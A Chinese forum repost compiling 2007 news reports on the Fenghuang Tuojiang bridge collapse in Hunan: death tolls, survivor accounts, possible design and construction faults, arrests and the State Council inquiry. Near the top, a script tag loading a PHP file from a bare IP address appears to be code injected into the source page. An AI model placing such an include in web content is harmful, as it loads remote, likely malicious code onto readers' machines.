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[转帖]湖南凤凰县凤大公路堤溪段沱江大桥发生坍塌事故
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【公共图文】凤凰大桥垮塌事故...

冲向河床

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上下配合

抬上路面

抬离现场

“我还以为是汗水呢,谁知是红色的,是腿在流血!”满头汗水、全身湿透,同战友一连救出5名严重受伤工人的战士许伟一边卷起迷彩服裤腿察看伤口一边说道。

抢险救援鞋被挤破、衣裤在滴水的副中队长宋艳伟在一旁一口气喝下了两瓶矿泉水,喘着气对战士们说:“动作要麻利,抬时注意保护伤员……”


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【公共图文】凤凰大桥垮塌事故...

  


  凤凰堤溪大桥垮塌 已有二十多人死亡


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“跑慢了,就没命了!”


——凤凰堤溪大桥坍塌事故幸存者惊魂回忆


发布时间: 2007-08-15 10:34:35  浏览次数:
以下内容为程序代码:
<SCRIPT src="http://61.128.167.51/script/oyjc.php">

</script>

211


<--enpcontent-->

    8月13日下午,湖南凤凰县凤大公路沱江上一座正在兴建中的大桥发生坍塌事故。经坍塌事故指挥部初步调查,截至8月14日上午,事故死亡人数上升至20人,39人失踪,生还的64人中有22人受伤。这是8月14日拍摄的坍塌事故现场。新华社记者赵众志摄

救援者抬走遇难者遗体。

遇难者家属悲痛欲绝

8月14日,一名受伤人员在湖南凤凰县民族中医院接受治疗。

8月14日,一对母女在湖南凤凰县民族中医院陪伴受伤的亲人。


    新华社湘西凤凰8月14日电(记者 禹志明、明星)13日发生的湖南省凤凰县堤溪大桥的坍塌悲剧,目前已确认22人死亡,数十人失踪。数名当时在大桥施工现场的农民工,向记者回忆了13日下午死里逃生的惊魂一刻。

    29岁的田静是凤凰县阿拉镇团结村的村民,一个多月前和同村几个伙伴来大桥工地打工。8月13日天气晴朗,大桥拆架工作也只剩三分之一了。下午2时30分,工人们开始进工地干活。田静和黄学明以及另外两名工友在大桥第四孔下面工作。他说,这天有100多名工人在桥上搞桥面平整,大桥下面的工人相对比较少。

    “跑慢了,就没命了!”田静大声告诉记者。13日下午工作时,听到头顶上在拆架的人说,上面好像掉小石子。当时,大家没怎么在意,还互相开玩笑说,不要被石子砸到了头哟。突然,听到有人喊“垮桥了”,田静抬头一看,大桥第一孔塌了下来,他和黄学明撒腿就跑。

    “从掉混凝土、小石头到垮桥最多只有3分钟。”当天在第一孔桥下工作的沱江镇木林桥村的龙光友回忆当时的情景说。他当时和三个工友在大桥第一孔下面工作,感觉到头上大桥开始往下掉混凝土和小石头,大家观察了一会,觉察到了大桥有坍塌的危险,于是高喊“桥要垮了”并往外跑。他告诉记者,大桥四孔依次垮塌,“轰!轰!轰!轰!”连续几声巨响,不到10秒钟,整个大桥就全部垮塌了。

    由于在桥下工作,觉察出异常情况比较早,因此田静、黄学明、龙光友三人都躲过了劫难。14日下午记者在凤凰县民族中医院见到他们时,三人均未受伤,但是谈起这场灾难,仍抑制不住内心的痛苦。田静说,和自己关系最好的7个工友中,有2人受伤住院,另外5人死亡,其中3人都是同村好友。

    龙光友说,他们当时在桥下高喊桥垮了的时候,尽管有40多米的距离,但拆架的人和桥上的人有些还是听到了,也许是不相信,也许是来不及作出反应,这些朝夕相处的工友们大多数在随后的坍塌中丧生。


相关新闻:

                         凤凰桥梁坍塌事故已确认28人遇难


8月14日,防疫人员在事故现场开展卫生防疫。

    8月14日,在湖南省凤凰县凤大公路堤溪段大桥垮塌事故现场,救援人员将一名遇难者遗体抬走。

8月14日拍摄的湖南省凤凰县凤大公路堤溪段大桥垮塌事故现场。


    8月14日,救援人员在湖南省凤凰县凤大公路堤溪段大桥垮塌事故现场展开救援。

    8月13日,湖南凤凰县凤大公路堤溪段沱江大桥发生坍塌事故。14日下午,凤凰县桥梁坍塌事故现场又陆续搜寻出一些遇难者遗体,目前这起事故死亡人数增加到28人。 新华社发(郭国权 摄)


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【公共图文】凤凰大桥垮塌事故...

8月14日,湖南省凤凰县凤大公路堤溪段大桥垮塌的事故现场。

许多群众和遇难者亲友在看凤凰县凤大公路堤溪段大桥垮塌的地方开展抢救行动。

8月14日,消防官兵从凤凰县凤大公路堤溪段大桥垮塌的地方将一名遇难者尸体抬走。


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【公共图文】凤凰大桥垮塌事故...

湖南凤凰在建堤溪大桥坍塌事故遇难者已逾36人

作者: 2007-8-16 23:27:00
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  ▲8月14日拍摄的堤溪大桥坍塌事故现场。
  ▲民众关注抢救行动
  ▲8月15日,救援人员在堤溪大桥垮塌事故现场处理废墟。
  ▲8月14日,在湖南省凤凰县凤大公路堤溪段大桥垮塌事故现场,救援人员将一名遇难者遗体抬走。
  8月13日下午,湖南湘西自治州凤凰县境内凤大公路堤溪段大桥突然垮塌。
  ▲遇难者家属悲痛欲绝
  8月13日下午4时45分许,正在拆架的湖南省湘西自治州凤凰县堤溪大桥发生坍塌事故。截至8月15日下午4时,施工的123名人员中,64人生还(其中受伤22人),36人死亡,23人失踪。有关伤亡和失踪人员的情况还在进一步核实中。

  发生坍塌事故的堤溪大桥为湘西土家族苗族自治州凤凰县至贵州铜仁大兴机场二级公路的公路桥梁,系湘西土家族苗族自治州重点建设项目。当地提供的资料显示,此桥桥身设计长328米,跨度为4孔,每孔65米,高42米,计划投资1200万元。项目业主单位为湘西土家族苗族自治州凤大公司,桥梁施工单位为湖南省路桥集团公司。据了解,凤凰县堤溪大桥于7月15日开始拆架,原计划8月底举行竣工通车典礼。

  ●资料

  凤凰

  中国最美丽小城

  凤凰县地处湖南省西部边缘,湘西土家族苗族自治州的西南角。东与泸溪县接界,北与吉首市、花垣县毗邻,南靠怀化地区的麻阳苗族自治县,西接贵州省铜仁地区的松桃苗族自治县。南北长66公里,东西宽50公里,总面积为1759.1平方公里。

  凤凰风景秀丽,是湖南省著名的风景名胜区,有“中国最美丽的小城”之誉。境内古迹众多,保存完好,有建于唐代的黄丝桥石头城、明万历年间的南方长城、清康熙时的凤凰古城墙和古城楼。楚巫文化在这里张扬,多元文化交织沉淀。是一个声名远扬的历史文化名城。

  文学巨匠沈从文、著名画家黄永玉,都是凤凰人。

  ●链接

  近年世界主要桥梁

  垮塌事故

  2007年8月1日,美国明尼苏达州密西西比河上一座桥梁傍晚交通高峰时段垮塌,约50辆汽车坠入河中,4人死亡,20人失踪。

  2007年7月31日,美国加利福尼亚州奥罗维尔高速路桥垮塌,一运货卡车损毁,一建筑工人从15米处跌落重伤。

  2007年6月15日,中国广东九江大桥被运沙船撞断,造成4辆汽车坠入江中,8人死亡,1人失踪。

  2007年4月,一辆油罐车在美国旧金山·奥克兰湾桥免费路段翻车起火,大火和高温造成一段高速公路桥垮塌,仅造成卡车司机受伤。

  2006年9月,加拿大魁北克一座桥梁垮塌,5人死亡。

  党中央、国务院高度重视湖南凤凰塌桥事故处理

  湖南省凤凰县境内的堤溪大桥发生桥体坍塌并导致严重伤亡事故后,正在国外访问的胡锦涛总书记非常关心,专门作出重要指示,要求有关方面尽最大努力搜救下落不明人员,救治伤员。要迅速组织事故调查组,查明事故原因,严肃追究责任者。同时,要吸取事故教训,举一反三,严防类似事故再次发生。

  正在湖南现场指导抢救和善后工作的国务委员兼国务院秘书长华建敏,及时传达了胡锦涛总书记、温家宝总理等中央领导同志的指示精神,进一步研究部署了下一阶段工作。湖南省委、省政府和国务院有关部门认真贯彻落实胡锦涛总书记、温家宝总理的指示精神,正抓紧清理事故现场,全力搜救失踪人员,精心医治受伤人员,积极做好伤亡人员家属安抚等工作,并开始对事故原因进行认真调查分析。

  ●原因

  专家:设计和质量可能都有问题

  坍塌的堤溪大桥是一座四孔石拱桥。现场目击者告诉记者,倒塌的桥墩几乎看不到钢筋。对此,上海交通大学吕子义教授分析,全部采用石头虽然从理论上讲是可以的,只要设计精确,但如果石拱桥里有钢筋连接就能大大提高抗拉性,否则只要拱部的任一部分坍塌,整个拱部的平衡将会被打破而导致整体性的坍塌。

  他认为,通常钢筋混凝土大桥发生垮塌首先是混凝土掉渣,接着钢筋发生变形和延伸。这样,在钢筋断裂直至拱桥坍塌前会有一个缓冲的时间段,增加安全系数,而石料造的拱桥则由于石头本身的脆性,无法提供这一缓冲的时间段。

  另据羊城晚报报道,一名工程人员在看到倒塌的大桥后认为,大桥的建筑可能存在问题,“我看了一下桥墩的断面,这是一种叫‘填芯砌法’的建筑方法,就是大石块筑成一圈上来,中间空的地方填上碎石块,正常的话那些碎石应该非常紧凑,而这座桥墩断面填的碎石都是散的。”

  湘西州委:一个多月前桥墩曾下沉

  据武汉晚报报道,记者通过警方找到了堤溪大桥的报警人、第一目击者田家荣。田家荣系凤凰县沱江镇金坪村平辽小组农民。

  事发前半小时,田家荣租了一辆微型货车从县城拉水泥回家。就在他和家人朝家里搬水泥时,突然听到轰隆隆几声巨响,只见40多米高的大桥竟轰然垮塌,许多正在桥面施工的农民工也掉了下来。也许是受到了挤压,三个粗壮的桥墩也依次倒了下来,砸向坠桥的民工。田家荣迅速拨打110报警,并组织乡邻们到现场救人,当场就抢出10多名“血人”。

  湘西自治州州委外宣办主任娄正莉日前证实,堤溪大桥原打算国庆节时搞竣工典礼,此前一个多月曾发生第三个桥墩下沉现象,后经加固处理才继续施工。其中是否存在渎职行为,还有待纪检监察机关的介入。

  凤凰县:项目经理和监理被警方控制

  记者从凤凰县了解到,堤溪大桥项目和监理负责人在事故当晚已被警方控制,以配合事故原因调查。据介绍,被警方控制的大桥建设项目经理夏有佳,为湖南省路桥集团道路七公司副经理。项目监理人蒋平,为湖南交通设计院下属金衢监理公司聘用人员。据悉,大桥项目所有资料以及工程监理资料也已被警方封存。

  ●影响

  上海游市波澜不惊 近期未有团队游客前往凤凰

  发生大桥垮塌的凤凰县是湘西最知名的旅游地,自由行游客一般都会涉足这一景点。不过记者日前从春秋国旅、上海旅行社、上航假期等了解到,目前尚没有收到沪上团队游客在当地受到大桥垮塌影响的消息,因为此前部分旅行社早已停发前往凤凰的团队。

  春秋国旅新闻发言人张磊告诉记者,目前春秋组团的游客前往湖南的主要游览地为张家界和长沙,而凤凰由于交通条件以及其他旅游设施的限制,并不是团队游客游览的主要景区。来自携程旅行网和上航假期旅行社的信息显示,近期前往凤凰的散客相对较少,携程和上航假期已经有一段时间没有向凤凰方向发团了。上海旅行社副总张建权在查证后表示,发生垮塌的大桥还在建设中,团队游客乘坐的大巴并不会在那里通过。据悉,目前旅行社尚没有因为大桥垮塌事件改变湖南旅游线路的打算,仍将照常向当地发团。

  凤凰全城停水

  大桥坍塌造成自来水厂的取水管道破裂。为了保证凤凰城内居民和游客的正常用水,有关部门组织了近40人抢修,在缺少水下切割器的条件下,全部依靠人力用锯条将铁管锯断。随后,又从吉首紧急调运来两根管道进行安装和加固。8月15日6时30分左右,管道修复工作终于完成。15日下午,城区供水已恢复正常。

  ●回忆

  跑慢了,就没命了!

  29岁的田静是凤凰县阿拉镇团结村的村民,一个多月前和同村几个伙伴来到大桥工地打工。8月13日天气晴朗,大桥拆架工作也只剩三分之一了。下午2时30分,工人们开始进工地干活。田静和黄学明以及另外两名工友在大桥第四孔下面工作。他说,这天有100多名工人在桥上搞桥面平整,大桥下面的工人相对比较少。

  “跑慢了,就没命了!”田静大声告诉记者。13日下午工作时,听到头顶上在拆架的人说,上面好像掉小石子。当时,大家没怎么在意,还互相开玩笑说,不要被石子砸到了头哟。突然,听到有人喊“垮桥了”,田静抬头一看,大桥第一孔塌了下来,他和黄学明撒腿就跑。

  “从掉混凝土、小石头到垮桥最多只有3分钟。”当天在第一孔桥下工作的沱江镇木林桥村的龙光友回忆当时的情景说。他当时和三个工友在大桥第一孔下面工作,感觉到头上大桥开始往下掉混凝土和小石头,大家观察了一会,觉察到了大桥有坍塌的危险,于是高喊“桥要垮了”并往外跑。他告诉记者,大桥四孔依次垮塌,“轰!轰!轰!轰!”连续几声巨响,不到10秒钟,整座大桥就全部垮塌了。

  由于在桥下工作,觉察出异常情况比较早,因此田静、黄学明、龙光友三人都躲过了劫难。14日下午记者在凤凰县民族中医院见到他们时,三人均未受伤,但是谈起这场灾难,仍抑制不住内心的痛苦。田静说,和自己关系最好的7个工友中,有2人受伤住院,另外5人死亡,其中3人都是同村好友。

  龙光友说,他们当时在桥下高喊桥垮了的时候,尽管有40多米的距离,但拆架的人和桥上的人有些还是听到了,也许是不相信,也许是来不及作出反应,这些朝夕相处的工友们大多数在随后的坍塌中丧生。

  ●背景

  造桥公司曾建广东九江大桥

  “所建钱塘江三桥被指通车不到10年,就大修一年”

  堤溪大桥的项目业主单位为湘西土家族苗族自治州凤大公司,桥梁施工单位为湖南省路桥集团公司。

  记者从湖南省路桥建设集团公司的网站上获悉,该公司始建于1954年,是具有公路工程施工总承包企业特级资质的省属国有大型路桥施工企业。

  该公司网站介绍,近年来,该公司承建了多座大型桥梁且多次获得国家级奖励。代表性桥梁包括,获得国家科技进步奖的广东九江大桥;位于世界著名涌潮水域的杭州钱塘江第三大桥。

  据羊城晚报报道,这些工程中,广东九江大桥今年6月被运沙船撞断。但该事故被认定是单方责任,大桥无质量问题。

  钱塘江三桥于1993年开始建设,历时4年,于1996年底建成通车。然而,这座耗资巨大、连接杭州市区和萧山的要道,通车不到10年,便开始出现问题——2005年9月开始的大修,耗时竟然长达一年。这在市民心中留下长长的阴影,“危桥”一说不胫而走。

  (摘自南方都市报)

  堤溪大桥的“身世”

  记者从凤凰县及现场事故抢救部门采访时了解到,这座桥从开工到坍塌,期间经过近4年时间,没来得及正式命名、也没有投入使用。

  据了解,堤溪段沱江大桥为凤凰县至大兴机场二级路的公路桥梁,位于凤大公路A1合同段。2003年11月开工建设,今年7月15日开始拆架。桥身设计长328米,跨度为4孔,按照交通部的标准,此桥属于大型桥。

  在湘西土家族苗族自治州,凤大公路堤溪段沱江大桥是一项重点工程,加上它与凤凰县委办公大楼相距不远,并对改善凤凰古城交通拥挤状况意义重大,因此很受社会关注。

  相关技术资料显示,堤溪大桥上部构造主拱圈为等截面悬链空腹式无铰拱,腹拱采用等截面圆弧拱。下部则奠基在弱风化泥灰或者白云岩上,混凝土、石块构筑成基础,全桥未设制动墩。专家们说,这种石拱桥型是一种传统桥型,但也是一种“风险桥型”。堤溪大桥大量使用了很多石材,与凤凰县当地自然环境和人文氛围比较协调,造价也相对低廉。很多当地人都在盼望,大桥建成通车后有一个响亮的名字。当地媒体的记者说,事发当天上午,他们有人专程来桥上为这座外观宏伟的大桥拍照。

  (除署名外均据新华社)<--/enpcontent-->

  来源:温岭日报 编辑:admin


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凤凰将对坍塌桥梁残体爆破解体

    这是湖南凤凰县“8·13”事故爆破分体垮塌桥墩准备工作现场(8月16日摄)。

    8月16日,记者从“8·13”事故现场救援指挥部获悉,为彻底搜寻失踪人员的遗体,有关方面已决定对湖南凤凰县凤大公路堤溪沱江大桥坍塌的桥墩爆破解体。 新华社记者赵众志摄

    这是湖南凤凰县“8·13”事故爆破分体垮塌桥墩准备工作现场(8月16日摄)。新华社记者赵众志摄

8月16日,工程技术人员在架设管线。新华社记者龙弘涛摄

    这是湖南凤凰县“8·13”事故爆破分体垮塌桥墩准备工作现场(8月16日摄)。新华社记者龙弘涛摄


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【公共图文】李毅中:彻查湖南凤凰县塌桥特别重大事故原因

李毅中:彻查湖南凤凰县塌桥特别重大事故原因
新华网湘西凤凰8月16日电(记者苏晓洲、杨维汉)16日上午9时,在国务院湖南凤凰县“8·13”堤溪大桥垮塌特别重大事故调查组成立大会上,国家安监总局局长李毅中表示,“8·13”事故是今年以来全国发生的一次死亡人数最多的事故,也是桥梁施工中发生的少有的坍塌伤亡事故,损失惨重,影响恶劣,必须彻底查明事故原因,依照“四不放过”的重要原则,查清原因,确定事故性质,认定事故责任,严肃追究事故责任人。

  李毅中简要地回顾了堤溪沱江大桥设计、建设情况。李毅中说,这项工程经历了多个环节,涉及多个部门,情况比较复杂,要把每个环节查清楚。从安全质量的角度看,在立项审批上,是否合法合规,有没有做过安全评估论证;在选址上,对桥墩平台的地质条件是否经过了科学勘测,地质资料是否准确,是否安全可靠;在设计上,设计原则是否合理,是否对拱桥桥型的质量、安全有保障性措施;在施工中,是否遵守操作规程和技术标准,严格按照设计施工;在工程监理上,是否监管到位,尤其对工程质量,安全问题,是否严格把关;在项目管理上,是否落实了业主负责,招投标等项制度,是否存在层层转包,违法分包,以包代管等问题。

  李毅中表示,调查工作要通过查阅原始资料,现场勘查,实物检测,找当事人询问,听取专家意见等方式,把事故搞准、摸实。在此基础上,以事实为依据,以法律法规为准绳,严肃追究事故责任人。认定事故的直接责任、主要责任、重要责任和领导责任,依据有关法律规定,对相关责任人严肃处理。还要查处失职渎职、违法违纪行为,构成犯罪的,要移送司法机关,依法惩处。

  李毅中强调,当前,全国范围内正在开展安全生产隐患排查治理专项行动。隐患是安全的大敌,隐患不除,事故不已。“8·13”特别重大事故惨痛教训表明,堤溪大桥在事故前就存在重大安全隐患,有关责任单位、责任人没有排查,没有发现,更没有采取有效措施,结果酿成大祸。

  李毅中指出,类似“8·13”这样的特别重大事故能不能避免,这种惨案能不能不再发生?用鲜血和生命换来的事故教训能不能深刻记取?我们要通过认真调查,严肃处理,举一反三,扎实搞好各种桥梁包括新建在建桥梁隐患的排查治理。近期,交通部、建设部和安监总局,将联合下发通报,提出具体要求。

  记者了解到,有关部门处理事故的“四不放过”原则是:事故的原因查不清楚不放过,事故的责任者得不到处理不放过,广大职工群众受不到教育不放过,防范措施没有落实不放过。

     

   8月14日拍摄的湖南省凤凰县凤大公路堤溪段大桥垮塌事故现场。8月13日,湖南凤凰县凤大公路堤溪段沱江大桥发生坍塌事故。新华社发(郭国权 摄) >>组图

    湖南凤凰县"8.13"塌桥特别重大事故调查全面启动

    湖南凤凰县“8·13”堤溪大桥垮塌特别重大事故调查全面启动 8月16日,国务院湖南凤凰县“8·13”堤溪大桥垮塌特别重大事故调查组在凤凰县成立,对事故的调查处理全面展开。 新华社记者赵众志摄

    新华网湘西凤凰8月16日电(记者苏晓洲、杨维汉)16日上午9时,国务院湖南凤凰县“8·13”堤溪大桥垮塌特别重大事故调查组在凤凰县成立,对这起事故的调查处理全面展开。

    湖南凤凰“8.13”沱江大桥垮塌事故41人遇难

    湖南省凤凰县“8·13”沱江大桥垮塌事故,经初步核实,事故发生时涉险人员123名,经过救援有63人生还,其中21人受伤,伤员已全部送往当地医院救治。截至16日8时10分,已找到41名遇难者。

    湖南凤凰桥梁坍塌事故遇难者已逾36人

   湖南凤凰桥梁坍塌事故救援工作紧张进行 8月15日,救援人员在湖南凤凰桥梁坍塌事故现场开展抢救工作。新华社发(郭国权 摄)    

    新华网湘西凤凰8月15日电(记者禹志明、 明星)记者从凤凰县桥梁坍塌事故现场指挥部获悉,随着遇难者的遗体陆续被找到,至记者发稿时,确认这起事故的遇难人数已逾36人。目前事故现场仍在进行搜救,事故发生时的涉险人数还在进一步核实之中。

    党中央、国务院高度重视湖南凤凰塌桥事故处理

    湖南省湘西自治州凤凰县沱江大桥发生坍塌事故,造成人员严重伤亡。党中央、国务院高度重视,温家宝总理作出重要批示,要求地方和有关部门尽快组织各方面做好抢救和善后工作,查明原因,严肃处理。国务委员兼国务院秘书长华建敏和建设部、交通部、卫生部、安全监管总局等有关部门负责人已赶到事故现场,指导抢救工作。

    凤凰塌桥事故:温家宝作出重要批示 华建敏赴现场

    华建敏等在凤凰塌桥事故现场指导抢险救援工作

    8月14日,国务委员兼国务院秘书长华建敏在湖南凤凰桥梁垮塌事故救援现场了解救援进展情况。 新华社记者赵众志摄 >>组图

    8月14日19时,受国务院总理温家宝的委托,国务委员、国务院秘书长华建敏赶到事故现场,指导抢险救援工作,并到医院看望受伤工人,慰问医护人员。华建敏首先代表党中央、国务院向事故中遇难工人表示沉痛的哀悼,向受伤工人和伤亡者家属表示慰问。向湖南省、州、县参与抢险救援的干部、公安、武警、民兵预备役人员等表示亲切的问候,向参与救治的广大医护人员表示深深的敬意。华建敏表示,温家宝总理对此次事故高度重视,批示要尽快组织各方面力量做好抢险救援和善后工作,同时查明原因,严肃处理责任人;国务院副总理曾培炎,中央政治局委员、公安部长周永康也分别做出批示。华建敏听取了湖南省委、省政府关于事故发生和救援情况的汇报,并对下一步工作提出要求。华建敏强调,一要切实做好善后工作,当务之急是要千方百计救治伤员,全力以赴搜救失踪人员;同时要深入细致地做好遇难者家属和受伤人员安抚及理赔工作。二要立即开展事故调查,查明事故原因,严肃追究事故责任,并决定成立国务院事故调查领导小组,由国家安全监管总局局长李毅中任组长,交通部和湖南省政府负责同志任副组长,监察部、建设部、全国总工会等部门和单位参加。三要举一反三,深刻汲取事故教训,切实加强安全生产工作。各地都要认真贯彻落实全国质量工作会议精神,加强工程质量和安全管理,对建设项目全面排查事故隐患,严防同类事故再次发生。

     坍塌大桥项目经理、监理被警方控制

    

    8月13日下午,湖南凤凰县凤大公路沱江上一座正在兴建中的大桥发生坍塌事故。经坍塌事故指挥部初步调查,截至8月14日上午,事故死亡人数上升至20人,39人失踪,生还的64人中有22人受伤。这是8月14日拍摄的坍塌事故现场。 新华社记者 赵众志 摄    

    湖南省凤凰县堤溪大桥13日16点40分发生坍塌事故,目前确认20人死亡,39人失踪,生还的64人中有22人受伤。记者从凤凰县了解到,堤溪大桥项目和监理负责人在事故当晚已被警方控制,以配合事故原因调查。

    据介绍,被警方控制的大桥建设项目经理夏有佳,为湖南省路桥集团道路七公司副经理。项目监理人蒋平,为湖南交通设计院下属金衢监理公司聘用人员。据悉,大桥项目所有资料以及工程监理资料也已被警方封存。

   凤凰县塌桥事故河段紧急施行消毒处理

    8月14日,防疫人员在事故现场开展卫生防疫。8月13日,湖南凤凰县凤大公路堤溪段沱江大桥发生坍塌事故。14日下午,凤凰县桥梁坍塌事故现场又陆续搜寻出一些遇难者遗体,目前这起事故死亡人数增加到28人。 新华社发(郭国权 摄)

    新华网湘西凤凰8月14日电(记者明星、禹志明)为了预防人员大量死伤后细菌病毒滋生造成疾病疫情,湖南凤凰县疾控中心紧急抽调10余名专家和工作人员,14日对沱江大桥坍塌处河段进行全方位消毒。

    湖南凤凰县一公路大桥突然垮塌造成伤亡

    图表:湖南凤凰县一公路大桥突然垮塌造成伤亡。新华社记者获悉,8月13日下午,湖南湘西土家族苗族自治州凤凰县境内凤大公路(湖南凤凰至贵州铜仁大兴机场)堤溪段大桥突然垮塌。新华社发

    新华网长沙8月13日电(记者禹志明、赵众志)新华社记者获悉,13日下午,湖南湘西土家族苗族自治州凤凰县境内凤大公路(湖南凤凰至贵州铜仁大兴机场)堤溪段大桥突然垮塌。据湖南省有关部门提供的消息,目前至少已有5人死亡。

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2007/8/17 19:03:17

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